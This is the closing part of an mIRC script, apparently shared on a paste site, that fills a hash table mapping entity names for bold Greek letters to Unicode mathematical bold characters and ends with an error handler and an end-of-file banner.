  5168.   hadd %h /^b\.eta$/2212 $chr($base(1D6C8, 16, 10))
  5169.   hadd %h /^b\.thetas$/2213 $chr($base(1D6C9, 16, 10))
  5170.   hadd %h /^b\.iota$/2214 $chr($base(1D6CA, 16, 10))
  5171.   hadd %h /^b\.kappa$/2215 $chr($base(1D6CB, 16, 10))
  5172.   hadd %h /^b\.lambda$/2216 $chr($base(1D6CC, 16, 10))
  5173.   hadd %h /^b\.mu$/2217 $chr($base(1D6CD, 16, 10))
  5174.   hadd %h /^b\.nu$/2218 $chr($base(1D6CE, 16, 10))
  5175.   hadd %h /^b\.xi$/2219 $chr($base(1D6CF, 16, 10))
  5176.   hadd %h /^b\.pi$/2220 $chr($base(1D6D1, 16, 10))
  5177.   hadd %h /^b\.rho$/2221 $chr($base(1D6D2, 16, 10))
  5178.   hadd %h /^b\.sigmav$/2222 $chr($base(1D6D3, 16, 10))
  5179.   hadd %h /^b\.sigma$/2223 $chr($base(1D6D4, 16, 10))
  5180.   hadd %h /^b\.tau$/2224 $chr($base(1D6D5, 16, 10))
  5181.   hadd %h /^b\.upsi$/2225 $chr($base(1D6D6, 16, 10))
  5182.   hadd %h /^b\.phi$/2226 $chr($base(1D6D7, 16, 10))
  5183.   hadd %h /^b\.chi$/2227 $chr($base(1D6D8, 16, 10))
  5184.   hadd %h /^b\.psi$/2228 $chr($base(1D6D9, 16, 10))
  5185.   hadd %h /^b\.omega$/2229 $chr($base(1D6DA, 16, 10))
  5186.   hadd %h /^b\.epsiv$/2230 $chr($base(1D6DC, 16, 10))
  5187.   hadd %h /^b\.thetav$/2231 $chr($base(1D6DD, 16, 10))
  5188.   hadd %h /^b\.kappav$/2232 $chr($base(1D6DE, 16, 10))
  5189.   hadd %h /^b\.phiv$/2233 $chr($base(1D6DF, 16, 10))
  5190.   hadd %h /^b\.rhov$/2234 $chr($base(1D6E0, 16, 10))
  5191.   hadd %h /^b\.piv$/2235 $chr($base(1D6E1, 16, 10))
  5192.   hadd %h /^b\.Gammad$/2236 $chr($base(1D7CA, 16, 10))
  5193.   hadd %h /^b\.gammad$/2237 $chr($base(1D7CB, 16, 10))
  5194.   return
  5195.   :error | wmm_werror $scriptline $error | reseterror
  5196. }
  5197.  
  5198. ; --- End of other aliases ---
  5199.  
  5200. ; ------------------------------------------------------------------------------ EOF ------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement